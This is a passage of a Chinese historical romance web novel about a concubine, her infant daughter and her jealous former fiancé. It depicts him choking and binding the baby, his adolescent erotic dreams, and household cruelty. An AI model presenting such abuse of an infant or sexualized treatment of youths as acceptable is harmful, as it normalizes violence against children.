不知是听了她的话,想要离开,还是林怀瑾在场,不好发作,亦或旁的缘由,大夫人紧攥袖子,直直盯着青姝看了良久,也未说明今日为何上门,直接转身离开。 她来时气势凌厉,走时却好似失了魂,后背僵硬脚步虚浮,几乎靠人搀扶才勉强没有摔倒。 见大夫人走了,乳母和丫鬟们都松了一口气,林怀瑾站在原地,没有随大夫人一同离开。 知晓他方才帮了自己,徐可心压下心中的怒气,尽力平复心绪,温声问他今日为何前来。 林怀瑾站在床前,看了眼她怀中哭闹不止的孩童,从匣中拿出一串铃铛,轻轻摇晃。 银铃撞在一起,发出很轻的脆响,本来哭闹的青姝霎时被吸引过去,睁着一双浑圆的水眸盯着他手中的铃铛,随着铃铛的摇晃不断转动眼睛。 小孩看了良久,不自觉忘记了哭,胡乱伸手,想要抓铃铛。 见她想要,林怀瑾拿至她面前,却没想到青姝直接抓住了他的手指,想要拽到自己怀里。 眼下徐可心抱着青姝,衣衫微乱,身前衣服也微微敞开,露出些许春光,她自己未留意,站在一旁的林怀瑾垂下眉眼,手指一顿,将铃铛交给青姝后,看向旁处。 女人身子丰腴,未生孩子前,便长了一副惹人怜的模样,眼下怀孕生子,不仅未染上疲态,反而变得愈发貌美。 身姿曼妙,浑身透着受尽宠爱的媚态,带着难以言说的欲气,过去时常透着灰败之色的眸子,眼下也格外亮,周身气质温和宁静,令人不自觉想要靠近。 徐可心抱着怀中的青姝,扯着她的小手轻声哄慰,良久未得到男人的回应,她抬眸看去,却见不知何时对方已经离开了,只留下那个箱子,也未说今日为何前来。 徐可心轻轻叹息,不知道他们母子二人今日到底为何上门,不过多一事不如少一事,见林怀瑾走了,她还是不自觉松了一口气。 匣子里的东西都是一些逗弄孩子的小玩意,待青姝不哭后,她将铃铛放回到匣子里,又命人将匣子送了回去。 若院中缺了东西,她大可向大人讨要,但无论如何都不能收下这人的东西。 不知是不是她的错觉,每每收了林怀瑾的东西后,她都要受到责罚,疑心这人和自己犯冲,徐可心不敢再收他的赠礼。 待大夫人走后,她正想着,如何同大人提起自己那日周菱要拖她下水的事情时,丫鬟告诉她,大人命夫人在院中禁足七日。 虽未说清惩处夫人的缘由,但好似是因为白日之事。 徐可心闻言,未想过这人竟会为了她处罚夫人,白日心中积攒的郁气稍稍褪了些许。 她刚产子未过整月,所有心神都放在青姝身上,还未来得及分神处理那日之事。 她一直忍气吞声,鲜少出门,饶是如此,那人依旧要拖下下水,害她腹中的孩子。 她过去身份低微,受了苦只能自己咽下去,如今这人存心加害于她,她断断不能再忍下去。 徐可心抱着青姝轻轻哄慰,正想着入夜如何同大人提起此事时,丫鬟复又告诉她,周姑娘早在她产子后的隔天,人就去了。 人死了…… 徐可心抬眸,不可置信地看她,“缘由呢?” 丫鬟眉眼低垂,“周姑娘心思歹毒,以下犯上,是夫人的意思……” 徐可心眸色怔愣,未曾想过原来周姑娘早就死了。 上次三姨娘落水,四姨娘也当夜被处死,不知是不是巧合,只要涉及到子嗣之事,往往没过多久便会死人。 好似杀人灭口一般,早在火燃烧前,就掐断火苗,以免火势越燃越旺,殃及到旁人。 周姑娘已死,她再提起此事,已然没有必要了,也没有提起的缘由,毕竟人已 经死了,旁人已经给了她一个交代,至于周菱是否受了旁人的指示,也再无人知晓了。 没有缘由不明不白就死了…… 徐可心紧抿着唇,不知为何心上一阵胆寒。 大夫人被禁足后,没过多久就传出她中邪生病的消息,说大夫人不知在听雨阁看见了什么,人变得神神叨叨的,每日卧床不起,嘴里不断骂着孽女之类的话。 徐可心不知晓她口中的孽女究竟是谁,向下人们问起此事,才从产婆口中知晓,在怀上两位公子之前,大夫人曾生过一个女儿。 恰逢冬日,天寒地冻,下人们看管不善,一日忘记光上房门,长小姐独自留在房中,受冻而死。 徐可心沉默良久,只觉不寒而栗,之后未再问起此事。 她本来气恼大夫人那日的无礼,但知晓她曾经历丧女之痛,心上的埋怨不自觉稍稍褪去。 徐可心看向怀中埋首在她怀里酣睡的女儿,俯身轻轻吻了一下青姝的头发。 若她失了青姝,想必也会终身介怀此事,因此疯掉。 她已经失了母亲,不想再失去青姝。 徐可心轻轻吻着她的脸颊,也不管她是否能听懂,只在她耳边轻声低语。 让青姝不要离开她,一直陪在她身侧,平安长大,她也一定会保护好青姝。 “我们青姝一定会平平安安的……”徐可心轻轻拍她的肩膀,垂眸哼着新学来的歌谣。 过了三月,正是初夏。 时值杏花开放,京城各家园中的杏林也都尽数开花,尤其是林府后园中的杏花,开的最为艳丽。 放榜当日,林家二公子的名字挂在第一列第一行,没过半日,林家又得了一个状元郎的消息就传遍了整个京城。 府上素来沉寂,这日却变得格外热闹,府中上下无一例外都在谈起此事,想要讨个好彩头,前去府外迎接二公子回府。 徐可心抱着青姝,见丫鬟们都在议论此事,便准她们前去观望,她自己守在房中,独自哄着青姝。 这人一直争强好胜,不愿屈居人下,如今终于考得了状元,也算如愿了。 春风得意马蹄疾…… 还未被退婚时,她一直期待这天的到来,期待这人考得功名,娶她过门。 日有所思夜有所梦,连带着做梦时,她梦到的都是两人成婚的情景。 如今真真切切到了这天,却早已物是人非,她的心也格外平静,不似过去那般期待高兴。 她抱着青姝,摇着拨浪鼓哄她玩,青姝躺在她怀里,伸手想要拿走,徐可心松了手,将拨浪鼓递到她手里。 小孩费力攥着,胡乱摇动,一个不留神松开手,拨浪鼓掉了下来直接砸到她的脸上,青姝紧抿着嘴,哇的一声哭了起来。 徐可心见状,心弦霎时一紧,连忙拿走拨浪鼓,轻声哄着她,对着她被打到的地方轻轻吹气,可没有半点作用。 见她哭闹不止,恐她伤了嗓音,徐可心连忙扯松衣服,将小孩抱在怀里。 吃到奶的瞬间,小孩霎时停止了哭声,眨着一双泪眸,边委屈地看着她,边吮吸不停。 又可怜又好笑的…… 徐可心捧着她的侧脸,见状忍不住轻笑起来。 她抱着孩子轻轻拍打她的后背,未留意屋内的动静,直到身后传来难以抑制的喘息声,她的身子才骤然一僵。 徐可心慌乱回头,却见数日不见的男人身着红衣站在她身后,紧抿着唇,目光直直落在她露在外面的半边胸脯上。 四目对视,这个不仅未移开目光,反而呼吸加重,目光愈发直白,令人难以忽视。 徐可心忙不迭转身,扯回衣服,慌乱背过身子,直接质问道,“二少爷为何擅自闯入?” 林昭明身着红衣站在她身后,见她面色恼怒,下意识就要解释,自己只是无意撞见,话出口的瞬间,想起自己眼下前来是问责的,又面色一沉。 “我为何不能来?” “我只问你,是不是你惹我母亲不快?她如今才卧床不起?” 他冷着声音,话语里带着不加掩饰的质问。 分明是大夫人先上门起事,眼下这人不问缘由,直接把错处怪在她身上,徐可心本来心上窘迫,不知怎么面对他,闻言面色紧绷,只觉胸中怒气满盈。 第65章 林昭明方回府还未更衣,眼下身着御赐大红袍,佩戴红花,格外丰神俊逸,罕见地透着几分端庄正经,光看他这副装扮,的确令人心生敬意,可偏偏一双浓眉紧蹙,硬生生压住周身的书生气。 徐可心不满他不由分说的质问,但想到这人那日救了她和青姝,徐可心紧抿着唇,暂且压下心中的火气,未理会他的话。 她揽着青姝的肩膀,安抚地轻拍。 小孩刚喝了奶,人也安静些许,睁着一双眸子好奇地盯着站在不远处的男人,眨着眼睛。 徐可心垂眸看着怀中的青姝,未分给他半分目光。 若是旁人,见她不理会早就识趣闭嘴,可来人是林昭明。 见徐可心不理会他,林昭明的面上霎时浮现怒气,直接俯身扯住她的手臂,冷声道,“你未听见我在同你讲话?” 他手上力气很重,徐可心微微蹙眉,抬眸看他,“听见了又如何?我应理会你吗?” “你不知晓那日究竟发生何事,就要为你母亲出头,不分青红皂白前来质问我,饶是我真得同你解释一二,想必你也不会听。” “你不解释,如何知道我不会听?”林昭明紧攥她的手臂,眯着眼睛盯着她。 徐可心抱着青姝,无声回视他,良久后,平声道,“好,那我告诉你,夫人那日前来,将青姝错认成长小姐,失了分寸,不仅对青姝痛骂不休,还要抢走青姝。” “我不知晓夫人因何患病,但知晓此事与我无关,你也不应为此前来质问我。” 她话语不停,逐字逐句陈述,眸中没有半分慌乱无措,不似之前那般胆怯谨慎。 一番话说完,徐可心深呼一口气,发觉自己心上格外平静,好似在意谁,就会在谁面前失控,只有不在意了,才会变得冷静。 男人站在她面前,仍注视她,眸色算不得多好,但也未透着戾气。 见他未同往日那般发疯,徐可心垂下眉眼,扯回自己的手臂,这次未用什么力气,只稍稍用力就挣脱林昭明的手。 她抱着青姝,眼也不抬道,“我已告知你那日之事,若无事的话,二公子离开罢。” “公子方回府,想必夫人还在等着公子,公子一直留在听雨阁也不合规矩。” 徐可心低着头,想要赶他离开,可林昭明单站在那里,既未说信不信她方才的话,也未离开,过了良久,才忽然道,“方才我去了宫中。” “眼下我得了状元,难道你不想对我说什么吗?”男人站在床边,居高临下地俯视她问。 “公子考中状元同我有何关系?”她心上不解,直言道。 若在过去,林昭明是她的未婚夫,知晓他考中状元,她的确会欢喜不已,可如今两人各不相干,徐可心不知晓她应该说什么。 “不日之后,我便是朝廷重臣,往后也会升为高官,得权得势,不会比我父亲逊色,而且我年少,还未弱冠,待父亲死了,我还活着,你想要的东西,我也能给你。” “而你如今成了他的妾室,还为他生下一女,每日侍奉一个比自己年长性情极为冷血的男人,不知你可后悔?” 林昭明站在床前负手而立,眉眼冷峻,一字一句道。 徐可心惦念他那日的恩情,不想同他再争论什么,可听完他眼下这番话,只觉火上心头,抬眸直视他,出言提醒,“林昭明,当初执意要退婚的人是你,而非我徐可心,若你当初娶了我,我又怎会一直困在教坊司?” “哪怕你之后念着往日的情分前去寻我,将我带走,我也不会像个玩物一样被赵大人送到你父亲的床上。” “你是林府二少爷,首辅大人之子,前途大好,的确不应为了一个官妓求情,徒惹一身是非,我被你退婚,论理而言,也没有身份去怪你。” “可我过去喜欢你,我把所有的情意都诉诸到你一人身上,未给自己留半条后路,全京城的人都知晓我是你未过门的妻 子,我也把你视为相公。” “但你之后又是如何待我的?冷言冷语不说,成日里躲着我,好似我是什么洪水猛兽,我以为你只是一时叛逆,待我们二人成婚后一切就会变好?可是呢?你不顾我的颜面,不顾我们的情分,大张旗鼓地跑去徐家退婚,把一切过错都怪在我身上。” “你如今问我可否后悔,难道当初退婚的人是我?我徒费光阴陪你长大,快到天明时又被你舍弃,沦落风尘只能自寻出路,难道是我自甘下贱,非要为妓为妾吗?” “若未成为大人的妾室,想必我眼下还在教坊司像个鸟雀一样给人弹曲,你又怎会见到我,还跑到我面前理直气壮地质问于我。” 徐可心本不想同他多言,可不知为何,每每见到他,心口就格外沉闷,怒气满盈。 好似察觉到她眼下心绪不宁,本安静趴在她怀里的青姝攥着她的衣服,微微蹙眉。 知晓自己刚刚失了分寸,徐可心忙不迭抬手,轻轻抚上青姝的侧脸,安抚地轻吻她的额头。 她懊悔在青姝面前同人争执,不想再失控和林昭明争吵,头也不抬冷声道,“无论你是否考得功名,都和我无关。” “若你眼下前来是为了夸耀此事,大可去寻你的未婚妻沈小姐,你成了状元郎,她便是状元郎夫人,夫荣妻贵,想必也为你欢喜。” 她话语不停,把心中话说尽,随后不再理会身旁的林昭明,背过身子抱着青姝轻轻哄慰。 青姝尚且年幼,她不应在青姝面前同人争执,不想再让她受惊。 她垂下头,边轻拍着女儿的后背,边轻声道,“是娘亲不好,吓到青姝了。” 徐可心垂着眉眼,轻哄不停,过了半晌,小孩脸上的畏色才慢慢褪去,埋首在母亲温暖的怀抱里,阖上眼睛沉沉睡去。 见她睡着,徐可心终于松了口气。 身后之人良久无言,好似定住一般,徐可心不知晓他面上是什么神情,也不想知晓,只头也不回轻声道,“青姝乏了,二少爷还是快些离开罢,勿要吵到青姝。” 复又过了半晌,忽得传来一声极为压抑的哽咽,徐可心身子一僵,慌乱回头,却见方才还气势凌厉的男人,此事垂着眉眼,低头擦着眼中的泪。 他红着眼眶,眼底雾蒙蒙的,泪水止不住流下,紧抿着唇,胸膛起伏不停,好似憋着气,强压喉咙里的哽咽。 见她看过来,林昭明面色紧绷,冷冷看了她一眼。 分明眼眶红肿泪流不止,一副委屈模样,仍冷着眉眼,不愿示弱。 林昭明如今乃是朝中钦定的状元郎,本应受人追捧夸赞,眼下却像个稚童一般,直挺挺地站在她面前,负气哭了起来。 徐可心眸色一怔,看向他满脸的泪水,下意识想要安慰他,话到嘴边,她又很快回神,疑心这人又在她面前演戏,徐可心紧抿着唇,终究未理会他。 任由林昭明站在一旁哭着,她装作未看见一般,挪走目光,抱着青姝轻声哄她,为她哼童谣。 若孩子哭了,无非是受了委屈,亦或想要惹人注意。林昭明早就不是什么孩子,无论真哭假哭都讨不来糖,她也不想给。 徐可心紧抿着唇,听着耳边压抑的哽咽,忽觉格外心烦,她抱着青姝转过身,忍了许久终于忍不住道,“二少爷如今是新科状元,若要哭,能否回自己的院子关上门偷偷哭去,不然被人瞧见了,旁人会如何想你?” “一个快要弱冠不日就要成家的男人,站在府中妾室的房中,哭得不成样子,成何体统?” 徐可心不开口还好,她一说,林昭明霎时哽咽一声,冷声反驳,“除你之外,何人敢取笑于我?” “若你不骂我,我又怎么会哭?分明见到我哭了,还装作没事人一般,不理会我还要赶我走,满心满眼都是你刚生下的那个孽种。” “你让我走,我偏不走,我就要站在你面前哭。” 林昭明面色紧绷,眼尾垂泪,死死盯着她,好似她是什么罪大恶极的犯人一般。 他压抑喉咙里的哽咽,憋得眼尾艳红,冷白的面庞满是泪水,若不是眉眼太过凌厉,光看他的面色,倒是格外惹人怜。 徐可心早就习惯了他的这张脸,饶是他哭得再可怜,心上也没有半分动容,只蹙眉道,“我何时骂了你?” 林昭明闻言,眉眼阴鸷,只盯着她怀中的青姝,负气道,“你就是对我不满,不在意我,只喜欢你怀中的孽种,早知道那日就应命产婆将她摔死。” 他话语直白,带着不加掩饰的戾气和妒意,分明两人已经没有婚约了,但林昭明好似还未认清现实,仍理所当然认为她应该哄着他,顺着他的心意,不仅将自己和大人比较,连稚童也不放过。 徐可心面色紧绷,听着他口中的胡言乱语,只觉这人愈发任性无礼。 听到他说要摔死青姝,徐可心气上心头,只觉胸口沉闷不堪,忽觉头格外昏沉,面前一黑,不受控地倒在床上。 林昭明本来还在控诉,见她昏倒,下意识伸手扶住她的身子,顾不得还在同这人置气,他看向屋外,就要命人去喊郎中。 可在话出口的瞬间,女人忽得倒在他怀里,头枕着他的肩膀,甜腻的奶香霎时充斥在他面前。 林昭明话音一顿,垂眸注视怀中的女人,想起来时看到的情景,忽觉喉咙格外干涩,腹间烦热,从未用过的那物不知为何也起了反应。 第66章 林昭明看着怀中的女人,忽得想起他过去三年里曾做过的春梦。 女人不着一缕,同话本中的鬼魅一般,雌伏在他身上,不断引诱他沉沦,每每醒来时他的裤子都黏腻不堪。 自少时起,他便独自一人在京中游玩,父亲忙于朝政,从不理会他和长兄,哪怕他们冒失闯祸,父亲也从不管教他们,只命人替他们收拾烂摊子,将他们完完全全交给母亲。 可那时母亲对他们也并不似之后那般上心,同父亲的相处也极为生疏,好似住在同一屋檐下的陌生人一般。 母亲对他们父子三人并不热络,钟爱写诗作画,每日随二叔一起前往府外,同一众文人吟诗作对,观山望水。 他央求母亲带他一起离府,想要陪在母亲身边,可母亲从未理会过他,只将他交给府中的丫鬟下人。 长兄自少时起便严于律己,专心治学,也鲜少理会他。 他少时未受到任何人的管教,却也未得到任何人的关心照顾,终日无所事事,四处寻乐子。 那日宴会,他在湖中玩乐,一时失足落入水中,本以为自己会溺水而亡,没想到醒来后发现自己被人揽在怀里,他抬眼看去,却见一个女子担忧地看着他。 他何时见过旁人对他露出过这种神色,不受控地扑进对方怀里,紧紧抱住对方。 姐姐的身子很香很软,埋首在对方怀里,好似掉进了轻飘飘的云里,让人不愿松手。 他在府中无人关心照顾,知晓对方是徐家长小姐,便跑去徐府找她。 她的身子很软,心也很软,会轻声哄他入睡,还会抱着他细细哄慰,比父亲母亲更在意他。 他愈发离不开这人,舍不得她的关心,想让她心疼自己。 林昭明本以为徐可心会一直陪在他身边,直到那日听见旁人说,不日她会参加选秀,他才意识到徐可心要离开他了。 他不知道当时自己对徐可心到底是什么感情,只知道要困住徐可心,让她留在自己身边。 他平日里鲜少去寻父亲,也从不向他索求什么,但知晓徐可心明年兴许会入宫后,便跑去书房同父亲提起此事,说要娶徐家长小姐为妻。 他本以为父亲公务繁忙,不知晓徐家长小姐是何人。 可在他提起后,对方直接否了他的话,令他寻得徐家长小姐的同意,再决定是否要定下婚约。 知晓徐可心 纵容他,林昭明当即跑到徐家,说要娶她为妻。 只要徐可心嫁给他,就可以一直陪在他身边,不会再寻旁人。 徐可心不答应,他就赖在府中不走,说尽了好话,一连央求数天,她才终于松口,说会同徐大人商议此事。 婚姻大事不能儿戏,他们二人的婚约却很顺利地被两家敲定,好似老天也在眷顾他,让徐可心留在他身边。 他那时不懂男欢女爱,只知道自从两人定下婚约后,徐可心就愈发亲近他,甚至准许他进入她的屋子,睡她的床。 他不知晓徐可心因何改变,但很高兴徐可心的亲近,享受这人满心满眼都是他的模样。 入了学堂后,旁人聚在一起看春宫图,拉他过去一起看。 看得尽兴时,趁着没有夫子在场,一个公子指着图画说,他夜里如何操弄院中的丫鬟。 在他说完后,又有几个公子开口,说起他们的经历。 众人说来说去,只有他坐在那里,良久未开口。 一个公子见状,笑着打趣他,问他有没有玩过府上的丫鬟,他面色紧绷,未理会这人口中的话。 那人见状,忽得想到什么,神秘兮兮地凑到他身边,问他可曾碰过徐家长小姐。 说他们二人已经是未婚夫妻,徐小姐身子丰腴,胸脯格外挺拔,性子温婉,想必在床上也格外温顺勾人。 话音刚落,在场几人彼此对视一眼,霎时发出一阵哄笑声。 声音轻荡恶心,好似令人作呕的蛆虫。 见这人拿徐可心打趣,他面色一黑,扯过那人的衣领,直接一拳打在他的脸上。 不顾旁人的阻拦,将人打得鼻青脸肿满脸是血,抬脚用力踹在他的心口,令他把嘴巴放干净了。 那时父亲已经成为皇帝近臣,位高权重备受重用,徐大人又是当朝首辅。 他先打了人,但无人令他前去谢罪,反倒那人被其父压到府中,亲口同他谢罪。 待那人走后,他也被关到祠堂跪了三天。 方解了禁足,他就一拳打在自己脸上,顶着脸上的青红痕迹,跑到徐府去寻徐可心。 见到他面上的伤口,这人果然格外心疼,抱着他轻声哄慰,为他涂抹药脂,轻轻吹他脸上的伤痕。 过去他被徐可心抱在怀里时,只觉她的身子很软,从未想过其他的。 但这次不知为何,他不自觉想起在学堂时看到的春宫图,身子也开始燥热。 那日他躺在徐可心的床上,徐可心坐在他身侧,摇着团扇为他解暑。 凉丝丝的风携带着温软的香气覆在他的面前,惹得他的头格外昏沉。 梦里徐可心放下扇子,脱下外衣,同春宫图里那般,抚上他的肩膀,眸色迷离,全身心依赖地靠在他怀里,枕着他的肩膀…… 他心跳得厉害,霎时清醒。 忽觉裤子格外黏腻,意识到自己起了反应,林昭明瞬间面色紧绷。 徐可心坐在床侧,见他醒来,面色担忧,问他是不是做噩梦了。 想起梦里的情景,他疑觉自己和那个畜生没什么两样,顿觉无颜面对她。 不顾她关心的话语,穿着满是脏污的裤子连滚带爬地离开徐府。 接连数日,他都做了春梦,梦见了徐可心。 梦见她纤细的手,柔软的唇,漂亮的眸子…… 他在府中浑浑噩噩了数日,终于抵不住心上的愧疚,再次跑去见徐可心,告诉她自己是个畜生,做春梦梦见了她,求她的原谅。 不知道为什么,他无论如何都压不下心中的邪念,只要闭上眼睛,就情不自禁地去幻想两人欢好的情景。 好似未料到他会说出这样一番话,徐可心面色涨红,尴尬地看着他,良久未言。 害怕徐可心讨厌他,林昭明紧咬牙,抽出随身佩剑,扯开衣带,就要砍下自己的那物。 徐可心眸色一怔,慌乱拦下他。 他实在害怕徐可心讨厌他,只能扑在徐可心怀里,哭着问徐可心是否原谅他。 徐可心不开口,他就不松手。 他来时只觉自己被色鬼附身了,已经无药可救,甚至做好了死缠烂打的准备。 可还未等他哭多久,徐可心就将他揽在怀里轻声哄慰,说不会因此讨厌他。 他霎时如释重负,之后未再做春梦。 待年纪稍长些,他的个子超过徐可心,可以反过来将徐可心抱在怀里。 私下里,徐可心有时会甜腻腻地同他讲话,告诉他,待他考得功名,两人成婚后,会把自己给他,为他生儿育女。 那夜他复又罕见地做了春梦,梦见自己考中进士,穿着婚服娶她回府。 洞房花烛夜,她赤着身子,陷在柔软的红色锦被中,眸色迷离地望着他,身心一起,终于彻彻底底地成了他的人,打上了他的烙印…… 徐可心陪在他身边时,他鲜少做春梦,可等徐可心入了教坊司后,他几乎每日都能梦到她。 他过去无所事事,没什么志向,待有了婚约后,旁人都认为他无用,配不上徐家长小姐。 徐可心不计较此事,他却格外介怀,那时他不学无术,的确无用,给不了徐可心任何东西。 他忽得开始想要考得状元,若他成了状元郎,便可同父亲那般在朝中位居要职,受人崇敬,无人再会说他配不上徐可心,徐可心也不会后悔嫁给他。 心中有了根,他好似终于不再像水中浮萍一般,四处游荡,开始变得争强好胜,把他认为最好的一切全都捧到徐可心面前。 那段时日,他虽没有家人的管教照顾,但依旧成了旁人口中惊才艳艳的林二公子。 没人再说他配不上徐可心,他也不必患得患失,只等娶她为妻。 徐可心在时,知晓徐可心一定不会离开他,他的心是酸胀的,被徐可心的喜欢填得很满。 他不必顾虑徐可心是否会喜欢别人,只需要在学堂潜心求学就好,然后早日考得功名,娶徐可心过门,让她成为自己的妻子。 他本以为日子会同预料中的那般发展,直到二叔离京,母亲终于开始留意他,给了他一直想要的关心和照顾,一切才变了模样。 有了母亲的关心,徐可心变得不再唯一。 他不必纠结徐可心一人,也不必再去徐可心那里,像个稚童一样讨得她的喜欢。 他开始重新审视两人之间的感情,才终于发觉,徐可心是个没什么学识极为俗气的女子。 徐可心所给予他的关心照顾,也再寻常不过,算不得什么。 只要他想,他可以从任何人那里讨得这种不值一提的关心。 过去在他眼里完美无瑕的人,变得极为寻常,俗气至极,追在他身后非他不可的模样,也格外蠢笨,好似除了喜欢他,这人再也不知晓旁的事情。 过去那些温柔的情话,再听起来,也变得令人格外嫌恶。 他终于意识到,他不愿娶徐可心这样的女人为妻,不想和她这种只知情爱的女人在一起一辈子。 过去徐可心非他不可,令他感到自己的心被填得很满,待认清自己的感情后,他又觉得很麻烦。 毕竟徐可心很软弱,无论嫁给谁都会受欺负,无人能照顾她。 他想要结束两人之间的关系,又迟迟难以决断,直到母亲主动提起两人的婚约,他把心里的纠结告诉母亲,母亲告诉他,徐可心是徐家长小姐,徐大人是当朝首都,不会有人苛责她。 他这才下了决心,跑去徐家退婚。 本以为徐可心会同往日那般哭哭啼啼跑来见他,却先等到了徐家失势的消息。 退婚时,谁都未告诉他,陛下早已对徐大人不满,不日就会查封徐府…… 他如愿以偿,彻底和徐可心断干净,顺利地就像两人定下婚约那年,他不用再忍受徐可心蠢笨的喜欢,也不用再担心徐可心会纠缠他。 他不必再去讨得徐可心的喜欢,徐可心也成了旁人的妾室,给人生子,不再非他不可…… 两人彻底没了以后,他本应该欢喜才对,但不知为何,失去她的那三年里,他又变回少时那般患得患失的模样,人也愈发暴戾,每日醒来时,只觉浑浑噩噩,不知晓因何活着。 考得功名与否,也变得没有那么重要,分明他已经有了母亲的照顾,但心还是空的,整个人好似行尸走肉一般。 直到再次遇见徐可心,才变得鲜活。 思绪回笼,林昭明看着倒在他怀里的女人,紧抿着唇。 他已经忘记徐可心最后一次依赖地靠在他怀里是在何时了,再次遇见她时,这人看向他的目光总是带着胆怯和畏惧,而如今只剩下厌烦和憎恶。 如今他考得状元,若没有之后的那些事,徐可心应该欢喜才对,满心依赖地靠在他怀里,软着声音讲着情话,说愿意嫁给他,愿意做他的妻子,为他生儿育女。 而不是成为他父亲的妾室,生了旁的男人的孩子。 林昭明紧攥她的肩膀,目光不自觉落在她怀中的孩子身上。 小孩安睡在女人怀中,枕着她的肩膀,睡容恬淡安静,没有半分不安,她的母亲给了她全部的喜欢,可这份喜欢本应该是他林昭明的。 若没了这孩子,徐可心和父亲之间也没了牵连,便可以被父亲舍弃,成为他的妾室…… 第67章 林昭明盯着她怀中的孩子,直接伸手掐住女婴的脖颈。 小孩的脖颈纤细脆弱,只要稍微用力,便可以掐断。 这个孽种实在碍眼,分明先遇见徐可心的人是他,而她未做任何事,只因从徐可心的肚子里爬出来,便轻而易举地讨得徐可心的喜欢。 连他都未尝过徐可心的奶水,她却每日吸吮,同趴在人身上吸血的蚂蟥别无一二。 小孩被包裹在襁褓里,呼吸不畅睁开眼睛,四目对视,她眸色好奇,眨也不眨盯着他看,丝毫未意识到眼下的危险。 林昭明瞥了她一眼,微微加重手指的力气,几乎瞬间,青姝本粉白的面庞开始泛红。 她微微蹙眉,紧抿着唇,眼底泛出泪花,委屈地盯着他的手臂,隐隐有要哭的征兆。 自她眉眼些许长开后,旁人看到她时,无一例外都认为她的眉眼同林大人格外相似,可林昭明眼下看去,却觉这孽种同她母亲一样,长了一双欲说还休的眸子,双瞳剪水,所有情意蕴于眸中,令人不自觉心生怜爱。 “凭什么你可以从她肚子里爬出来,我就只能站在外面。” “也不知晓你这孽种给她下了什么迷魂汤,让她这般喜欢你。” 林昭明掐着她的脖颈,不断用力,小孩面色涨红,被钳着脖颈,哭也哭不来,几乎快要窒息…… 徐可心方才急火攻心,被林昭明气晕了过去,再醒来时,却见郎中站在床前,同丫鬟交代什么。 见她醒来,丫鬟连忙上前,问她可有不适。 她微微摇头,下意识去寻青姝的身影,却未见到青姝,徐可心眸色一怔,倏然起身,看向丫鬟,“青姝呢?” “府中设了家宴,庆祝二少爷登科,正院的丫鬟前来寻他,二少爷随丫鬟离开,临走时……带走了二小姐。” 丫鬟迟疑说完,徐可心闻言,顾不得还在修养,匆匆更衣,甚至未梳妆,直接披着头发离开听雨阁。 去的路上,她紧攥衣袖,只觉心跳得格外快,几乎快要蹦出来。 正院。 府中几个长者坐在堂内,徐可心匆匆赶到,迎着众人打量的目光,慌乱走入堂内。 她披散头发,衣冠不整,实在算不上体面。 知晓她是府中的妾室,府上几个长辈均面露嫌恶。 她自从入府后,一直守在院中,鲜少出门,不知晓他们各自的什么,对上他们厌烦的目光,她紧抿着唇,匆匆行礼,看向临近的丫鬟,问她可否看到二少爷。 丫鬟端着茶盘,连忙摇头。 徐可心紧抿着唇,又拦住一个下人,问她可否看到二少爷,依旧未得到回应。 她披头散发,在宴席内四处问询,众人无一例外衣着整齐端坐在那里,只有她披头散发像个疯子一样四处寻找林昭明。 府中长辈见状,面色愈发不满,一个老者站起身,拧眉看着她,负手而立,令下人将她赶出去。 两个丫鬟闻言,直接上前,强硬地站在她面前,要赶她走。 还未寻到青姝的踪迹,她如何能走,也顾不得体面,直接大声喊着林昭明的名字。 “二少爷如今登科,你衣衫不整地跑过来,存心惹众人不快是吗?”老者怒声斥责道。 徐可心闻言,终于抬眼看去,在看到老者的瞬间,认出他是大人的叔父,她紧抿着唇,环视四周,见众人全都看着她,她深呼一口气,直言道,“方才二少爷带走了我的女儿,我此番上门也是为了寻她,并无冒犯之意,不知各位可否看见二少爷?” 她面色紧绷,未因众人的打量而失了分寸。 老者闻言,面色凌厉,“你丢了女儿来正院找什么,二少爷又为何带走你的女儿?” 他说完,复又勒令下人将她赶走。 丫鬟们听令上前,伸手就要扯住她的手臂。 她刚入府那会儿,被夫人惩戒过几次,一来二去,正院的丫鬟也对她极为不恭敬,有时碰见她,甚至无缘无故给她眼色看。 人惯会欺软怕硬,她入了教坊司后,也见惯了旁人的冷眼,知晓无论她好坏与否,都会有人不满她,欺她辱她。 徐可心对此早就麻木,也难以分神计较。 可眼下青姝下落不明,她心急如焚,不愿退让,冷声道,“青姝是府上的小姐,大人之女,若因你们的阻拦,耽误我寻得青姝,以至让她出了什么闪失,我便令大人拔了你们的舌头,将你们一齐发卖出府。” 她自幼在父亲的惩戒下长大,如何不知晓怎么威慑下人。 身份低微,只能忍着让着,卑微祈求着,可如今有人为她撑腰,她自然不愿受制于人。 她素来温和,过去前来正院请安时,也总是一副沉默寡言的模样,好似软包子一般,谁都可以踩一脚。 她眼下没有征兆地说出这般血腥的话,两个丫鬟眸色一怔,霎时停下脚步,欲要扯她的手也骤然悬在半空。 徐可心看了她们一眼,越过她们向正堂走去。 权压人,旁人仗着身份欺辱她,自然也怕被人用身份压着。 不似别家,族中长辈在府中受人尊敬,甚至可以对家主的事情指点一二。 早在那夜大人拿着族谱,未经过族中长辈之手,直接将她的名字写在上面,甚至任由她随意更改,徐可心就知晓,这林府上下只有一个主人。 旁人同她一样,都在大人的规矩下活着。 各自相欺,兴许相安无事,但只要提及大人,众人无一例外都当起了鹌鹑。 本来对她面色不善的众人,闻言纷纷变了面色,收回目光未再打量她。 这才是恃宠生骄,借着大人的权势压人,之前旁人口中所谓的纵容,不过是无端指责罢了。 路过那位老者时,徐可心平静地看了他一眼,忽视他紧绷的面色,同他略微行礼,唤了一声叔公,也不管他答不答应,责令一个丫鬟带路,前去寻青姝。 丫鬟本不愿答应,可对上她没有情绪的目光,面色一愣,引她向厢房走去。 “徐姨娘,少爷就在里面……”丫鬟站在厢房外,迟疑驻足,未敢再入内。 知晓旁人都怕林昭明,徐可心微微颔首,匆匆说了一句劳烦姑娘带路,慌乱推门走进。 “青姝!青姝!” 一进门,她就四处喊着女儿的名字,刚唤了两声,就听见里室传来女儿的哭喊声,她身子一僵,忙不迭绕过屏风走了进 去。 待看清里面的情景,她心跳一滞,却见小孩被绳子紧紧捆在床上,林昭明端着一碗奶,拿着勺子正往青姝口中喂。 小孩还不足满月,如何会自己喝奶,被奶水呛得面色涨红发青,面上满是泪痕,一看见她就大声哭了起来,声音沙哑,好似已经哭了许久。 一瞬间,徐可心只觉心如刀割,泪水倏地从眼中落下。 她快步上前,直接推开林昭明,为青姝解开身子,将小孩抱在怀里。 徐可心揽着她的肩膀,吻着她眼皮,话语不停地轻声哄慰。 “好青姝,不哭不哭,娘亲来了。” 林昭明坐在一旁,见她来了,将手中的碗放在桌案上,站起身不解道,“你怎么来了?” 